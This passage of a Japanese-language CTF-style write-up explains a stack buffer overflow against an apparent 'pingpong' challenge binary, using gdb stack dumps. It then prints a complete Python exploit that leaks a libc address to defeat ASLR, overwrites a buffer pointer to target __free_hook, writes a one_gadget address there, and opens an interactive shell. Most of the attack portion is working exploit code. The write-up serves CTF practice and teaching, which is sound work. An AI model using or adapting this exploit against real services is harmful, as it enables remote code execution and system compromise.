0168| 0x7fffffffdbd8 --> 0x7fffffffdb40 --> 0x57c
0176| 0x7fffffffdbe0 --> 0x7ffff7ffe168 --> 0x555555554000 --> 0x10102464c457f
0184| 0x7fffffffdbe8 --> 0xd9206eb282fc4d00
0192| 0x7fffffffdbf0 --> 0x7fffffffdc30 --> 0x555555554c90 (push   r15)

となっている。
先述のとおりバッファの開始位置は0x7fffffffdb40で、 そのバッファを指すポインターは0x7fffffffdbd8にある。

0x7fffffffdb38以降は先のIDAファイルでget_ping_char_and_proccessと名付けたサブルーチンのスタックフレーム、
0x7fffffffdbf8 ~ 0x7fffffffdb40は先のIDAファイルでpingpong_loopと名付けたサブルーチンのスタックフレームである。
スタックカナリアが使われているが、スタックフレームを跨いでいないのでなんの障害もなくバッファオーバーフローを利用して、バッファのポインタを書き換えることができる。

なので単に'a'0x7fffffffdbd8 - 0x7fffffffdb40個送り、そのあとに何か送ればポインタ0x7fffffffdbd8を書き換えることができる。

3. onegadget

上までの手順を踏めば、書き込み先のポインタ0x7fffffffdbd8が指す先が書き換えられており、__free_hookを指すようになる。
そこをonegadget(呼べばシェル起動できる)のアドレスで書き換える。何もせずただ送るだけでいい。

エクスプロイトコード

(変数名とかがアレなのはご容赦ください)


#!/usr/bin/python
# -*- coding:utf-8 -*-
import socket, struct, telnetlib

# --- common funcs ---
def sock(remoteip, remoteport):
  s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  s.connect((remoteip, remoteport))
  return s, s.makefile('rw', bufsize=0)

def read_until(f, delim='\n'):
  data = ''
  while not data.endswith(delim):
    data += f.read(1)
  return data

def shell(s):
  t = telnetlib.Telnet()
  t.sock = s
  t.interact()

# def p(a): return struct.pack("<I",a)
# def u(a): return struct.unpack("<I",a)[0]

def p(a): return struct.pack("<Q",a)
def u(a): 
    return struct.unpack("<Q",a.ljust(8, "\0") )[0]

def invert(st):
    ans = []
    for ind in range(len(st)):
        if ind % 2 == 0:
            ans.append( chr(  ord(st[ind]) ^ 0x20)  )
            print( chr( ord(st[ind]) ^ 0x20 ) )
        else:
            ans.append(chr( ord(st[ind]) ))
            print( chr( ord(st[ind]) ))
    return "".join(ans)

# --- main ---
s, f = sock("localhost", 1025)    # 接続


# ロゴや最初のプロンプトまで読み捨て
print( read_until(f, delim = ":") )

# _IO_puts+362のアドレスをリークさせる
base_addr_input_buffer = 0x7fffffffdc40
base_addr_leak_data = 0x7fffffffdc88
offset_leak_data = base_addr_leak_data - base_addr_input_buffer
f.write('a' * offset_leak_data + "\n") 

# プロンプトの読み捨て
read_until(f, delim=":")

# リークした_IO_puts+362のアドレス...の処理前(改行は使わないので捨てる)
ans = read_until(f)[:-1]

print(ans)
print(invert(ans) )

# 変なエンコードを解除
ans_inverted = invert(ans)

# アドレスに直す
leaked_address = u(ans_inverted[-6:])

print(str(hex(leaked_address  )) )

# _IO_puts+362の、ASLRオフの、ランダマイズされてないときのアドレス
notASLR_fixed_leaked_address = 0x7ffff7a7c7fa
# libcの、ASLRオフでランダマイズされてない時のベースアドレス
notASLR_fixed_base_addr_libc_vmmap = 0x00007ffff7a0d000

# ASLRオンのときのlibcベースアドレスの計算
offset_caused_by_ASLR = leaked_address - notASLR_fixed_leaked_address
base_addr_libc = offset_caused_by_ASLR + notASLR_fixed_base_addr_libc_vmmap
print("libc_base" + str(hex(base_addr_libc)) )

# 文字を保持するスタック上のバッファを指すポインタと、ポインタ自身が指す位置のオフセット
offset_from_buffer_pointer_to_buffer_head = 0x7fffffffdc18 - 0x7fffffffdb80  # 0x7fffffffdbd8(ポインタのアドレス) - 0x7fffffffdb40(ポインタの指すバッファの先頭位置)  のほうがわかりやすい
f.write("a" * offset_from_buffer_pointer_to_buffer_head)

# `gdb-peda$ p &__free_hook`で検索した、ランダマイズされていない時のfree_hookのアドレス
# pwntools か libc databaseを使う
addr_free_hook_notASLR =0x7ffff7dd37a8 
# ランダマイズされてるときのfree_hookのアドレス
offset_free_hook = addr_free_hook_notASLR - notASLR_fixed_base_addr_libc_vmmap
addr_free_hook = offset_free_hook + base_addr_libc

# 「文字を保持するスタック上のバッファを指すポインタ」をfree_hookを指すように書き換える
print("addr_free_hook" + hex(addr_free_hook) )
f.write(p(addr_free_hook) + "\n")

# one gadgetというツールか何かで見つけてきたone gadgetのアドレス
# スタックの状態に依存するとかなんとかで、普通は複数個試す
offset_onegadget = 0x4526a
addr_onegadget = offset_onegadget + base_addr_libc

# free_hookのアドレスをonegadgetのもので書き換える
f.write( p(addr_onegadget) + "\n")

# `ping:`で文字を受け付けたあとにfree()が実行されるところがあるため、free_hookが呼ばれて、
# ここでシェルが取れる

shell(s)                          # 対話シェルへ移行